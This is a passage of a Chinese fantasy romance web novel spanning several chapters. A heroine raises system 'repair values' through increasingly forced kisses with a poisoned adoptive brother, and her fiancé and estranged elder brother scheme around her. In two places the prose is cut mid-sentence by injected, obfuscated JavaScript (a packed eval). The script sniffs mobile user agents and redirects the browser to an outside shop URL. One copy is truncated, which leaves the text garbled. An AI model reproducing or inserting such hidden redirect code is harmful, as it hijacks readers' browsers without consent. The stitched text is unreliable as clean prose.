亦或者，那张明媚的脸才是一切的根源。 燕千尧抬起了手，他滴了一滴血在旁边的盆栽上。原本生长茂密的药草在瞬间干瘪枯萎，摇摇欲坠。 他勾起一抹嘲讽的笑：“看到了吗，我的血有毒，这样大小姐还要来包扎吗。” 一直安静的慕灵昭动了。 她直接触碰到了那颗干枯的植物，震惊地道：“你在干什么啊。” 燕千尧瞳孔骤缩，他看到有紫色的雾气从那棵药草上浮了出来，尖叫着在那只纤细的手中湮灭。 而原本已经失去生机的植物又再度直了起来。它乖顺地蹭了蹭大小姐的掌心。 燕千尧定定地望着这一幕，久久无法回神，直到—— 大小姐握住了他的手。 她没有灵气，无法治愈伤口，但是那些原本到处作乱的紫雾却在她的包扎中畏畏缩缩的躲了起来。 疼痛如潮水般褪去，燕千尧垂下眼眸，看着慕灵昭一边包扎，一边喋喋不休地的道：“你就算生气也不要这样呀，你有什么事情可以直接跟我说，它是无辜的。” 燕千尧好一会儿才意识到大小姐口中的它指得是那颗药草。 “……”燕千尧开口，嗓音有些沙哑，“那本来就是要喂给蛊虫的。” 大小姐瞪了他一眼：“那你也不许折磨人家。” 燕千尧额角跳了跳，他闭上了眼睛：“嗯。” 一片安静中，大小姐忽然道：“燕千尧，你是不是听到了。” 她没说具体是什么，但是两人心知肚明。 燕千尧没有回答她，而是道：“你知道为什么我的血有毒吗？” 已经包扎好了，燕千尧盯着自己手腕上洁白的绷带，挣脱开了她的手：“因为在来慕家之前，我当了快十年的药人。” “大小姐，你知道药人是什么吗？”燕千尧笑道，“你应该不知道吧。” 大小姐微微张大了嘴。 “要接受各种各样的药方试验，有毒的没毒的或者毒性未知的……我都试了上千种。”燕千尧晃了晃手腕，漫不经心地道，“因此，这些年我体内的毒素已经积累到了一种你难以想象的程度，几乎是碰者即死。” “所以——” 燕千尧直视着那双圆睁的紫眸，头一次流泻出了他一直深藏着的情绪：“听到又如何？没听到又如何。你要我说什么？” 说多恨你，多恨慕家吗。 【当前修复值33%，恨意值30%。】 慕灵昭不知道为什么恨意值会莫名其妙下降了五点，但她知道一件事。 “不是如何又不如何的问题。”慕灵昭认真地道，“你不要听朝子临那家伙瞎说，你不是任何人的替身。” “哥哥……慕西归那样说，我也没有想到。” 慕灵昭试探着拉住了燕千尧的衣袖：“我替他向你道歉。” “他其实一直都是这个样子的，高傲得不行，眼高于顶，脾气又大，性格又霸道。”慕灵昭越说越顺嘴，“我有的时候真的是要烦死他了，没见过要求这么多的人。但是——” “但是。”燕千尧语气平淡，“你说了他这么多缺点，可在你心里，他还是你唯一的哥哥吧。” 不管有再多的缺点和讨厌，在看到大小姐白天的犹豫时，燕千尧就已经知道了答案。 她不会选择他的。 “……”慕灵昭的手往上挪，覆盖在了燕千尧的手背上，一瞬间，冰冷的温度侵袭而来，就像他的脸色一样，冷得厉害。 慕灵昭想，燕千尧现在就应该照个镜子，这样他就会知道自己此时此刻笑起来的样子有多吓人。 “但我们是亲人。”慕灵昭道，“其实我今天对他也挺失望的。可就像他之前一直包容我的脾气一样，我也会包容他的脾气。” 慕灵昭眼眸弯弯，道：“现在我们也是亲人了，燕千尧。虽然时间还很短，但我也会慢慢开始包容你的。” “当然。”她用力地戳了戳燕千尧的手背，“如果你像之前那样一直欺负我，跟我对着干的话，我是不会把你当家人的。” 【当前修复值34%。】 怎么还差六点，最近刷的越来越慢了。慕灵昭暗中蹙眉。 燕千尧抬眸，看到了大小姐略有些烦恼的神情。 他忽地想起了一些刚来慕家的事。 那时慕灵昭看他不顺眼，各种找茬，其实他也没好到哪去。 他讨厌这个娇生惯养的大小姐，讨厌她没吃过苦头的手，讨厌她抬起下巴看人的表情。 他讨厌她的一切，或者说，单纯恨她的存在。 所以他暗中毒死了慕灵昭珍惜的很多花花草草，让她有苦说不出，只能哭着喊着把他赶到了慕家最偏远的院落。 那段时间，她最讨厌的是他，而他也非常讨厌她。 后来…… 燕千尧看着那只正跟他紧密相贴的白皙手掌，一时有些恍惚，事情是怎么变成现在这样的？ 他不知道，但他清楚一件事。 他依旧恨她，无法原谅她的存在。 燕千尧手掌翻转，按住了那只手，俯身上前。 在那双明亮澄澈的紫眸中，他清晰地看到了自己越来越近的倒影。 两唇相贴，出乎意料的柔软。燕千尧遵循本能，向深处探索。 他想，既然做不了她的哥哥了，那就换一种吧。 他会继续以这种方式恨她的。 16.第十六章 第十六章 【当前修复值34.5%……】 慕灵昭睁大了眼睛，瞳孔地震。 她本来还在烦恼怎样才能把最后的6%修复值刷满，结果下一息—— 燕千尧面无表情的脸逐渐放大，冰凉的气息贴在了她的唇上。 一瞬间，慕灵昭整个人都是木的，她的脑子仿佛完全被那股冷意给僵住了，只怔怔地望着那双漆黑，望不见底的狐狸眼。 冰冷的气息很快转为潮热，流淌在唇齿之间。 唇瓣被不轻不重地咬了一下，慕灵昭下意识想躲，却被强硬地按住了后脑勺。她这才后知后觉地意识到，自己的右手早已被禁锢住了，垂在身侧的左手想挣脱困境，却只能无力地拉住了身前人的衣袖。 “呜……”慕灵昭像是溺水一般努力挣扎，刚浮上水面吐了点泡泡，又立刻被拽了回去。 而她好不容易张开的缝隙，还没来得及说什么，就被坏东西趁机钻了进去。 一开始，偶尔还会发出牙齿碰撞的声音，但很快，伴随着些微的吮吸和搅动，慕灵昭的头脑连带着嘴唇都在发麻。 她不知何时闭上了眼睛，整个人几乎都陷入了身前人的怀中，只能靠着他的力量才勉强支撑着自己。 大小姐实在是可怜极了。燕千尧深刻地意识到了这一点。 唇瓣被碾得通红发肿不说，里里外外都被人吃了个干干净净。 她依旧是微扬着下巴，只不过这一次，却是被人按着后脑勺，将自己送进了别人的口中。 燕千尧眼眸暗沉，格外愉悦地想：原来大小姐不开口说话，如此乖乖待在他怀里的时候，还是挺讨人喜欢的。 …… 【当前修复值40%，恨意值35%……32%。】 系统的声音像是从很遥远的地方传来，慕灵昭目无焦距，胸膛不住起伏，好一会儿才反应出其中的含义。 意识渐渐回笼，慕灵昭脑子想挣脱出来，身体却完全不受控制，一头又栽了回去。 头顶传来了一声低笑，慕灵昭恼羞成怒，用力地掐了他一下。 燕千尧又笑，慢悠悠地道：“不疼。” “……”慕灵昭暗中使劲，连着掐了他好几次。 “还有力气，要不要再来一次？”燕千尧忽然开口，把她翻了过来，跟她四目相对。 慕灵昭发出一声惊呼，像兔子蹬腿一样胡乱摆手：“不要不要！” “逗你的。”燕千尧抵住了她的额头，又在笑，“其实我觉得这样也挺好的，不是吗？大小姐你看着也并不讨厌。” “我不用吸你的血去压制蛊毒了，这也是体.液的一种。” “我很喜欢。”燕千尧一眨不眨地凝着她，眼眸像是两颗黑漆漆的宝石，“而且这样我当不了任何人的替身，你哥哥总不会对你做这种事吧。” 慕灵昭睫羽微颤，避开了他的目光。 她脑子里乱糟糟的一片，却又悄悄浮上来一个念头：燕千尧说的没错，确实…… 不单单是蛊毒，修复值还差60%，少说也要六天。现在只是被他随便亲亲罢了，就能这么快达标，怎么看好像都挺划算的。 至于六天之后……慕灵昭一把推开了燕千尧的头，含糊地道：“那就先这样吧，后面再改。” 到时候想甩开他还不容易，慕灵昭对此颇有信心，她想拒绝就拒绝，量他也不敢怎么样。 燕千尧眼中荡开笑意，被推开也不生气，反而扶着慕灵昭坐直，贴心地道：“我给你拿杯茶吧。” 慕灵昭刚点头，余光就瞥见一道金光呼啸而至，精准的落在了她的面前。 是通讯符。 燕千尧停住了脚步，回头看她，慕灵昭能清晰地感觉到他正在观察她。 慕灵昭盯着通讯符看，金光在她面上明明灭灭，像是无声的催促。 她看了燕千尧一眼，接通了那张通讯符。 四下无声，对面率先打破了沉默：“……昭昭？” 慕灵昭嗓子发紧，干巴巴地道：“嗯……是我。” 时隔良久，慕西归的声音一如既往的温柔亲昵，仿佛这几年的隔阂和前几日的冷漠都是她的幻梦：“昭昭，你喉咙不舒服吗？是不是又贪凉吃多了冰，去找医师开点灵药吧。” 燕千尧发出了一声意味不明的冷笑。 “昭昭？”慕西归语气沉了下来，“你旁边有人吗。” 慕灵昭眼疾手快，跳起来一把捂住了燕千尧的嘴。 她重重地踩他一脚，用气声威胁：“我命令你现在不许说话。” 燕千尧狐狸眼慢慢弯起，冲她笑。不知道是不是错觉，慕灵昭似乎听到了极其轻微的“啵”的一声。 ……燕千尧！ 手心烫的厉害，慕灵昭瞪圆了眼，想松手又不敢，只能憋屈地又踩了他一脚。 “昭昭。” 耽搁了一点时间，对面的慕西归又唤了一声，只不过这一次，他的声音明显冷了下来，语气笃定：“你旁边有人在吧，是不是那个新来的家伙。” 慕灵昭垂眸，索性承认了：“对，我现在和燕千尧在一起。” “哥……慕西归，朝子临今天跟我说了你对他的看法。”慕灵昭小脸紧绷，“所以，你是真的觉得我最近不理你是因为找了燕千尧当替身吗？” 燕千尧敛住了笑，目光一错不错地落在那张如玉般的侧颜上。 对面沉默良久，终于道：“我同子临说的是气话，我没想到会传到你耳中。” 慕灵昭道：“那你会跟燕千尧道歉吗？” 预料之中的，慕西归毫不犹豫地拒绝了。 慕西归一如既往的语气淡淡，仿佛一切都无法入眼。他反问道：“我为什么要道歉？是他欺负你在先，也是他目的不明的突然接近你。” “昭昭。”慕西归道，“子临同我说了，你和他之前持续交恶，也就是这几天，你们的关系才忽然缓和，且突飞猛进。” “我不知道这些天究竟发生了什么，但我了解你。” 慕西归放缓了语气，道：“你心善又心软，很容易被人哄骗。我会尽快找时间回家一趟的，在这之前，你离他远一点，不要再和他接触了，可以吗。” 说是问句，语气却是不容置喙。 燕千尧忽地笑了，这大公子还真是和他先前通话时一样，没有丝毫改变，倨傲的让人厌恶。 句句不提他，却又句句都在指责他。 燕千尧扯动唇角，刚欲开口，大小姐那双盈盈的眼眸在此时望了过来。 她眼眶红红的，嘴巴也红肿得厉害，像是被人细密地吮吸了一遍，唇珠也可怜兮兮地翘在上方。 燕千尧心头一动，顿时歇了开口的想法。 和那家伙争论有什么意思，不过是一时的口舌之快罢了。燕千尧用目光在那张红唇上摸索，现在更重要的，是—— 慕灵昭忽地伸出手，捏住了那张符咒。 通讯符上的金光瞬间变得黯淡，这意味着暂时截断了通话。 “明天早上就要出发了。”大小姐看着他，道，“你早点休息，有什么事我们明天再说。” 她捏着那张符咒离开了房间，临出去前还冲他挥了挥手。 燕千尧心中莫名舒服了些许，他摸了摸嘴唇，心道：确 实，有什么事等之后再说。 来日方长，他不急于一时。 …… “我不喜欢你这样。” 慕灵昭捏着那张通讯符离开燕千尧的院子之后，找了一个偏僻的地方才松开了它，让通话再次连通。 “慕西归。”慕灵昭认真地叫他的名字，她眼眶还有些泛红，刚才委屈的情绪已然褪去，取而代之的是另一种复杂的情绪，“你以前不会这样说话的。” 以前的慕西归，就算再讨厌一个人，也会和他维持表面的和平。暗地里如何不好说，但他绝不会像今天这样表现的如此咄咄逼人。 “而且他已经是慕家二公子了，是你的弟弟。你为什么会对他有这么大的敌意？” “是吗。我怎么不知道我多了一个这样的弟弟。”对面的慕西归似乎觉得好笑，“而且昭昭，是单我对他的敌意重吗？你没有看出来吗，他也十分厌恶我。” 慕西归又道：“就因为这个，你打算再也不叫我哥哥了吗。” “一码归一码！”如果慕西归还在这里，慕灵昭估计早就气得锤上去了，“今天明明是你说错了话，你为什么不肯道歉。” “我不会道歉。”慕西归淡淡地道，“我确实不喜那小子。这是我和他的事，你不要再掺和了。我现在最想知道的是——” “你一直这么维护他，是真的把他当成你的二哥了吗？” 慕灵昭盯着闪烁的金光，沉默片刻，道：“我不敢保证未来如何，我只能说他现在对我还可以。” “哥哥。”慕灵昭忽地唤了一声，道，“毕竟我也不知道，他未来会不会变成下一个你。” 突然离开，突然出现……慕灵昭有太多的委屈和指责堵在了嘴边，却最终什么都没有说出口。 四下沉寂，唯有夜风穿过林间的沙沙和虫鸣低语。 良久，慕西归道：“所以昭昭，你现在是不是非常的讨厌我？” “这话应该我问你吧。”慕灵昭微微仰头，竭力不让自己泄露一丝一毫，“你知道外面的人都是怎么说的吗？他们都说你非常的讨厌我，所以才会不惜远去他洲。三年一次都没有回来过。” 慕西归道：“你也是这么觉得吗？” 慕灵昭垂眸道：“是的。或者说，直到几天前，我都还在给你找各种借口，用来佐证你并不是那样的人，你也并没有像他们口中那样讨厌我。” “可我现在觉得，他们说的是对的。” 虽然竭力隐藏，但慕灵昭的声音还是流泻出了一丝哭腔：“你给我那些通讯符的时候说过，不管你身在何处，只要符咒能起效，我就能联系到你，你也一定会接通我的通讯。” “可是哥哥，这么多年了，你只接通了一次，就是前几天那次，那也是我最后一张通讯符。” 慕灵昭深吸了一口气，道：“直到这几天，你知道我周围出现了新的人，即将取代你的地位，你才一次又一次地向我打出通讯。” “我不讨厌你。”慕灵昭有些茫然地道，“我只是……觉得很不舒服。” “我也不讨厌你。”慕西归声音低沉，“我最恨的是我自己。” 我的妹妹，我最亲近的人，我怎么会讨厌你呢。 慕西归任由手臂上道道淋漓的刀口滴答着鲜血，始终凝视着那张漂浮在半空中的通讯符。 金光闪烁间，慕西归依稀看到了那张眼眸弯弯，紫眸明亮的熟悉容颜。 无论何时，她总是会在看到他的第一眼。朝他奔来，仰头冲他笑，唤他哥哥。 他怎么可能会讨厌她。 他只恨自己无能为力，只恨自己是她的哥哥。 17.第十七章 第十七章 金光渐渐暗淡，化为灰烬，飘散在夜风中。 慕灵昭维持着抬头的姿势，泪痕慢慢干涸，在脸颊上留下些微的扯痛感。 但她却没有伸手擦拭，满脑子想的都是刚才慕西归最后说的话。 在慕西归说出那句最恨的人是他自己后，双方都沉默了很久。 她很想问为什么，最终还是没有开口。 她也没有再追问他为何没接通那些通讯符。 慕灵昭只是静静地听着慕西归说。 “昭昭，我知道你马上要拜入玄海派了。”慕西归道，“入门考核只是最初的考验，关键是后面的拜师。” 慕西归放低了声音，就像之前无数个日夜那样温声对她说话，哄她入睡：“但你的经脉在拜师中不占优势。不过没关系，我和玄海派的一位剑尊有些交情。” “我已经和他提过了，并且给你寄了一样信物，你届时带着信物去找他，他一定会收你为徒的。” 他最后道：“昭昭，好好休息，我等着你的好消息。” 耳边接连响起的系统播报声换回了慕灵昭的思绪。 【慕西归恨意值90%！不对……50%。】 【80%……70%……90%……50%……】 数字来来回回的加减，报得小白麻木了，嘴都有些说不过来。 来回横跳了一盏茶的时间，慕西归的恨意值才终于定格了下来，来到了10%。 小白看着慕灵昭闷闷不乐的侧颜，关心道：“怎么啦大小姐，你不高兴吗？” “慕西归的恨意值之前一直是零，现在终于变到10了，说不定马上就可以突破20了，按理说你应该高兴呀。”小白有些纳闷。 慕灵昭笑了笑，道：“没有呀，我很开心。” 她只是在想：果然，哥哥还是讨厌她的吧。 …… “以后做事不要太过冲动，凡事多考虑一下后果。”虞扶水拉着慕灵昭的手，眼眶微微有些泛红，又叮嘱道，“但也不要一味的忍气吞声，有事及时传通讯符，我和你爹收到了一定会去帮你的。还有子临——” 虞扶水看向一旁的朝子临，道：“要麻烦你多多看顾我们家昭昭几分了，这孩子没怎么出过门，实在是让人不放心。” 朝子临笑道：“还请伯父伯母放心，我一定会竭尽我所能照顾好昭昭的。” 他的态度十分的谦逊，面上始终带着令人信服的微笑：“朝家就在东州，离玄海派也近，真有什么万一，我也定会及时派遣人手且禀告父母，绝不会让昭昭受半分委屈。” 慕泗容感慨道：“有贤侄如此，我和扶水做父母的就放心了。” 眼看着他们还有话要交代燕千尧，朝子临及时后退，在不远处静静等待着这场告别完成。 也不知是不是他的错觉，慕家夫妇面对燕千尧的态度，还不如对他这个外人来的和蔼可亲。 虞扶水还情有可原，毕竟传闻中这是慕思容的私生子，跟她毫无关联不说，甚至还会威胁到她亲生儿子慕西归的地位，态度冷漠也是正常。 但慕泗容的表现就有些耐人寻味了，和虞扶水如出一辙的冷淡。 朝子临微微眯眼，不由想起了昨夜和慕西归的通讯。 昨天晚上他本来都要休息了，那家伙却突然打通讯过来，情绪很明显不太对劲，第一句话就是：“我和昭昭之间的事情已经解决好了，那个叫燕千尧的，你尽量让他远离昭昭。” 朝子临忍不住笑：“怎么了，之前跟你说起他的时候，你还不屑一顾，今天就变了。发生了什么？” “什么也没有。”慕西归冷冷地道，“之后就麻烦你照顾好我妹妹了，算我欠你一个人情。” 说完他便挂断了通讯，连给朝子临询问的机会都没有。 朝子临把玩着手中的折扇，漫不经心地想，现在看来，慕府一家四口，对燕千尧最友好的竟然是慕灵昭这个骄纵又任性的大小姐。 不可思议。 不远处的告别已经接近尾声，朝子临刚吩咐手下将出行用的飞舟准备好，就察觉到了些许不对劲。 慕灵昭走在前，燕千尧紧随其后，两人一同朝着他的方向走来，准备出发。 看似无比正常的画面，但朝子临却注意到了某一瞬间—— 当大小姐的衣袖从燕千尧的手上划过时，这个身份不明的家伙竟然伸出手拉住了她的衣袖。 浅碧色的衣袖犹如春水般流淌在他的手中，尽管很快就被慕灵昭抽走了，但朝子临还是察觉到了那一瞬间的微妙。 不对劲，朝子临垂眸盯向自己的掌心，大小姐和这个家伙之间，变得和之前不一样了。 …… 朝子临安排的飞舟是一种特殊的出行载具，从外观上来看，像是一艘行驶在水路上的大船，足以容纳几十人的存在。但实际上却行驶在空中，需要大量的灵石用以启动。 重檐楼阁，雕栏画柱，朱红金粉，这艘飞舟共有三层，每一层都是不同的华丽，光从外表上挑不出任何缺点。 慕灵昭走上三层，一眼便瞧中了最中间的那个房间——房门上刻了层层叠叠的桃花，上方悬挂着的樱粉色帷幔垂落其上，好似一场如梦似幻的花海。 “我要睡这个房间。”慕灵昭毫不犹豫地道。 还没等朝子临开口，燕千尧笑着走到了她旁边，随手一指右边的房间，道：“那我就睡这里吧，住你隔壁。” 朝子临眼皮一跳，微微叹气，道：“不巧，慕二公子要不再选一个房间？那个房间是我安排给昭昭的。” “至于中间的……”朝子临手中的折扇随之划了过去，面不改色地道，“这个是我的房间。” 如此分完之后，三楼的房间便只剩下了最左边的了，燕千尧要么选它，要么就只能去楼下两层。 “你给我安排的是什么房间。我才不要。”慕灵昭嫌弃地看着最右边房间门上刻着的惟妙惟肖的神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17833036|209641||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 兽，它正张着大嘴做出咆哮的姿态，实在是狰狞可怖。 最左边的那个也不遑多让，门上刻着的是一条正在捕食的三爪蛟龙。 慕灵昭只看一眼，便立刻收回了目光：“不行，我只能睡中间那个，剩下两个晚上肯定要做噩梦。” 燕千尧失笑，垂眸凝视着她：“哪有那么夸张，大小姐你未免太过娇气。” 慕灵昭瞪他，又踩他一脚：“要你管！” 燕千尧不躲不避，只是看着她笑。 异样的感觉在心头一晃而过，朝子临对慕灵昭招了招手，道：“昭昭，我同你说件事。” “什么？”慕灵昭不情不愿，但还是挪了过去，“我就要住中间的房间，你休想找借口抢走……” 隔着几步远的距离，朝子临对上了燕千尧的目光。 四目相对，一触即分。 朝子临微微俯身，在慕灵昭耳边对她说了几句话。 下一息，大小姐惊得面色大变，小脸煞白，登时慌不择路地抓住了朝子临的手：“我不要住中间的房间了，我要住最右边的那个！” 有道沉沉的目光落在了他们相交的手上。 朝子临微微一笑，反握住慕灵昭的手，带着她向房间走去：“没关系，不要怕，我给你布置一下，保证不会有什么事的。” 大小姐紧紧地挨在他的身边，像只受惊的兔子一样垂着两只长耳朵，低低地道：“你可一定要给我安排好啊……要不你住我旁边吧。” 朝子临笑意渐深，道：“当然可以，你放心，我绝不会让你出事的。” 如此，他也算是完成了慕西归的嘱托，将慕灵昭和燕千尧二人彻底隔绝开来。 朝子临带着慕灵昭路过燕千尧时，那家伙的眼珠子一错不错地盯着大小姐的脸，似乎想得到些许回应。 只可惜，大小姐始终垂着头，没看他一眼。 燕千尧的目光始终追随着那道浅碧色的身影，目送他们一同进入右边的房间。 临踏入前，那个朝大公子看了他一眼，态度很好地冲他微笑颔首，燕千尧却只是淡淡的收回了目光。 心头涌上了一股无法言说的烦躁，燕千尧不受控制地想：他跟大小姐都说了什么？他要和大小姐做什么？ 他也要……那样对大小姐吗。 紫雾猛地自身体涌出，瞬间咆哮着将旁边的雕花柱腐蚀掉了一块。 燕千尧黑眸沉沉，目光落在那张关闭的门上。层层紫雾在他的周身盘旋，时不时发出刺耳的低叫，像是在宣泄着不满。 …… 一盏茶后，那扇门终于被打开了。 朝子临从门内从容走出，又阖上门，并在门上贴了一张地阶的驱邪符。 燕千尧冷眼旁观，待朝子临即将他身边走过时，他忽然开口，道：“你和大小姐说了什么？” 朝子临微扬眉梢，回头，在慕灵昭面前的温和早已烟消云散，取而代之的是挑衅与轻视：“与你无关。” 18.第十八章 第十八章 慕灵昭没在房间里待多久，就跑到了一楼的甲板上吹风。 层层云朵如卷浪四溅，时不时有三五成排的飞鸟掠过。她伸出手去，带着凉意的气息扫过手心，也渐渐驱散了心头的不安。 刚才朝子临说的话到底给她带来了影响，导致她满脑子都是那些血腥恐怖的场景。 “大小姐。” 身后突然传来的声音给慕灵昭惊了惊，她回头，瞧见是燕千尧时有一瞬的心虚：“……怎么了？” 燕千尧敏锐地察觉到了她的不对劲：“你在害怕，为什么？刚才朝子临跟你说了什么话？” 慕灵昭睫毛微颤，避开了他的目光：“没有啊，他没说什么，你……” 她犹豫再三，还是小声道：“你晚上睡的时候小心一点。” 刚才安排房间的时候，她满脑子想的都是朝子临修为高，让他离她近一点好保护她，但现在想想—— 抛开燕千尧的蛊毒和阵法来看，慕灵昭记得燕千尧的修为是练气期，让他住那个房间，也是有些难为他了。 “骗子。”双颊突然被人捏住，带着些强迫意味地抬了起来，慕灵昭对上了燕千尧的眼睛， 他明明在笑，那双狐狸眼中却毫无温度，黑沉沉地朝她压了过来：“我也要在房门上安一个如此高等级的辟邪符吗。大小姐，你有想过我有这样的东西吗？” “我……慕灵昭是真的有些心虚了，“我以为你可以自己画的，你不是会画很多阵法和符咒吗？还有毒，我觉得你可以保护好自己的……” 她的声音越来越小，越说越不自信。 燕千尧道：“地阶符咒对应的是元婴以上的修为，大小姐，你是觉得以我练气三层的修为能扛得过去，还是我已经可以画地阶的符咒了？” “你怎么才三层，这么菜。”慕灵昭脱口而出，瞧见燕千尧的脸色不对，才辩解道，“我不是那个意思，三层……三层也够用了，普通的辟邪符就可以了，我那里有多的，一会儿分你一些。” “……”燕千尧冷嗤，阴恻恻地道，“练气三层确实够用了，我多的是手段对付那个红毛。” “要不要等我把他杀了，再把他尸体搬进你房里。光让他住你隔壁有什么用，跟你住在一起岂不是更好？” 慕灵昭无比惊恐，开始剧烈挣扎，想要赶紧离他远远的：“你果然被那个房间影响了。松开我，松开我！” 燕千尧：“……” 心头的暴虐和烦躁不知何时悄然褪去，燕千尧沉沉吐出一口气，一把将仍在挣扎不休的大小姐揽入怀中，头不自禁地搁在她的肩上。他低声道：“大小姐，我不会那样做的，你就告诉我到底怎么了吧。” 怀里的人慢慢停止了挣扎，过了几息，大小姐犹犹豫豫地道：“那我和你说了，你可不要同我抢房间啊……” 燕千尧简直要气笑了，他盯着眼前晃动的小巧耳朵，考虑一口咬上去是什么滋味：“你想多了。你跟我说清楚，我再给你布置几个阵法。” “其实也没什么。”那只耳朵连同着桃花玉坠一道颤，“朝子临跟我说，那个房间因为位于正中，所以它的房梁连通着整条船的船脊，是用一种名为裂止水的上古妖兽的骨头制成的，能起到稳固船身，预防风浪的作用。” “但也会有副作用。”慕灵昭小声道，“这种妖兽的怨气比别的都要重，百年不散，入夜后容易吸引路过的冤魂厉鬼，最易受影响的就是住在那个房间的人。” 大小姐还有些委屈：“我本来说要么去住下面的房间吧，但是朝子临说越往下走，鬼越容易接近，所以还是顶上最安全。” 燕千尧这次是真笑了。 妖兽名没错，作用也没错，甚至他猜这艘船也确实用了裂止水的骨头，但—— 燕千尧敢保证，这飞舟绝不会有这种能吸引怨鬼的隐患。若真如此，所谓的朝家大公子，怎会让自己陷入此等隐患之中。 无非是真话中混杂假话，用来哄骗不知情的大小姐。 被骗得团团转的大小姐还在帮他出主意：“实在不行，你晚上来我房里吧，你可以打地铺。正好……” 燕千尧喉结微动：“嗯？” 大小姐那双盈盈紫眸抬了起来，燕千尧只觉喉头发紧，莫名的感觉迅速涌上心头。 他听见她小小声地道：“你的情蛊，晚上不是还要来吸血吗。” 燕千尧忽地笑了，视角一路向下，落在了那张红唇上：“嗯，对。” 至于是吸血还是吸……某个部位，那就到时候再说吧。 【燕千尧恨意值33%，修复值41%。】 慕灵昭目送着燕千尧离开，他说要给她布置好几套的辟邪阵法和符咒，保证她绝不会受怨鬼攻击。 她本来还担心燕千尧会不高兴，或者说抢她的房间。谁曾想，他走的时候脚步轻盈，面上含笑，丝毫看不出半分不愉快。 有人愿意帮她处理，那真是再好不过了，慕灵昭没有再想，转而问起了小白另一件事： 【修复值怎么才41%，这不太对吧。】慕灵昭揉着自己的脸，嘟囔道，【我刚才被他捏了那么久。要是之前早就涨5%了。】 小白蹭蹭她的脸，忧愁地道：【是这样的，越到后面就越不好涨。毕竟这跟大小姐你的经脉挂钩，到了后期需要更多的能量。】 【不过，】小白的机械声有一丝的犹豫，含糊地道，【昨天大小姐你的修复值就涨得就很快。系统没有具体说明，但我猜可能是跟新的接触方式有关。】 慕灵昭摸了摸头，道：【我脑子里好像也多了一些阵法之类的知识。】 【那就先这样吧，】慕灵昭又摸了下嘴唇，两颊有些泛红。她镇定地道，【我权当被狗咬了，熬过这几天再说。】 【朝子临的恨意值有多少？要是他的也到了20%，我是不是就可以一起接触，提高修复值了？】慕灵昭忽然想到。 小白查了查，道：【对的，朝子临恨意值……15%！之前明明一直都在10%的，刚才不知道怎么回事，突然就涨了到了15%！】 完全是意外之喜。慕灵昭高兴地道：【那我很快就能双管齐下了。】 临回房前，慕灵昭抬头望了眼三楼的方向。 空无一物。 慕灵昭收回目光，也不知是不是错觉，就在她刚才被燕千尧捏脸的时候，那个方向似乎传来了一道目光。 始终沉沉地笼罩在她的周身，像是密不透风的黑云。 …… 门刚被打开，慕灵昭还没看清来人的脸，就被黑影压了过来。 凌乱的呼吸扑洒在她的面上，慕灵昭惊呼一声，下意识想躲避，身体朝后仰，却被一只大掌牢牢地禁锢在了腰间，连带着整个人都朝他的方向靠了过去。 慕灵昭两只手在半空中胡乱地划了一圈，最终找到了支点——不速之客的衣袖。 而那个登堂入室的宵小之辈，已堂而皇之地堵住了她的嘴，正压着她一步步后退，朝着屋内深处挪去。 慕灵昭眼睁睁地看着那扇离她越来越远的门，挣扎着道：“唔唔……门、门没关……” 未尽的话语又迅速被堵了回去，恍惚间，慕灵昭以为自己遇到了一只野兽，马上就要被他拆骨入腹。 这头野兽一边咬着她的下唇，一边含糊地道：“不要管门了，先救救我吧，大小姐。” “救……救你什么？”慕灵昭眼眶泛红，紫眸微阖，全靠扶在她腰间的手作为支撑，不然早就软倒下去了。 她迷迷糊糊又委屈地想，有没有人来救救她呀……门、门一定要关啊！ 伴随着耳边响起不断增长的修复值，慕灵昭一步步向后退，终于，身体向后倒去，陷入了柔软的床铺中。 两唇分离，隐隐有透亮的银丝折射出暧昧的光芒，又很快被紧随其后的燕千尧尽数吞下，追了过去。 慕灵昭觉得今晚的燕千尧疯了。 如果说，昨天给她的感觉只是些微的失控，让她认为一切仍在自己的掌握之中，可以随时抽身脱离。 但此时此刻—— 她被彻底压在被褥中动弹不得，双手被高举过头顶，双腿合拢，又被强行禁锢其中。正面，则是密集的，像是狂风骤雨般打击而来的亲吻。 慕灵昭开始有些害怕了。 她被亲得快要喘不过气，挣扎不得，求救无门，只能任由陌生又汹涌的感觉在体内掀起阵阵浪潮。 而她，只能抓紧暴风雨中独属于他的那艘小舟，在海浪中被一遍遍反 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new 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长久的安静让门外人的耐心消失殆尽，或者说，他原本也不是什么耐性好的人。 朝子临的声音低了下去，他似乎已经握住了门把手，发出了咔的一声：“那我进来了？” 燕千尧唇角勾出一抹讥诮的弧度，下一瞬，他就被人猛地推开了。 毫无征兆的力度推得他一个踉跄，直接从床上掉了下去，好险没在地板上滚几圈。 而罪魁祸首早已飞快地把自己团进了被褥中，红着脸瞪他：“燕千尧你疯了？还不快滚出去！” 还知道用气音，怕外面的人听到。燕千尧低笑两声，也学着她的模样，道：“就这样出去吗？” “那我走了。”燕千尧作势要离开，转身没走两步，衣袖就被人扯住了。 “不行！”慕灵昭惊得小脸煞白，反而导致那些原本留在她面上脖颈上的痕迹变得分外明显。 燕千尧的目光一落上去就挪不开了：“那大小姐你说要怎么做？” 门外的朝子临却又没破门而入，不知怎么，他继续敲了几下门，还在不停地唤道：“昭昭，你睡着了吗？” “他倒是耐性好。”燕千尧意味不明地勾起唇，又凑了过去，“你说，我就这样出去，被朝大公子，你的未婚夫看到了——” “他会怎么做？” 慕灵昭呼吸急促，紧紧地拽着燕千尧的衣袖，对上了那双黑漆漆，正含笑望着她的狐狸眼。 【当前燕千尧恨意值35%，修复值50%。】 …… 朝子临盯着门板上的凶兽，心头冒出的戾气一波高过一波。 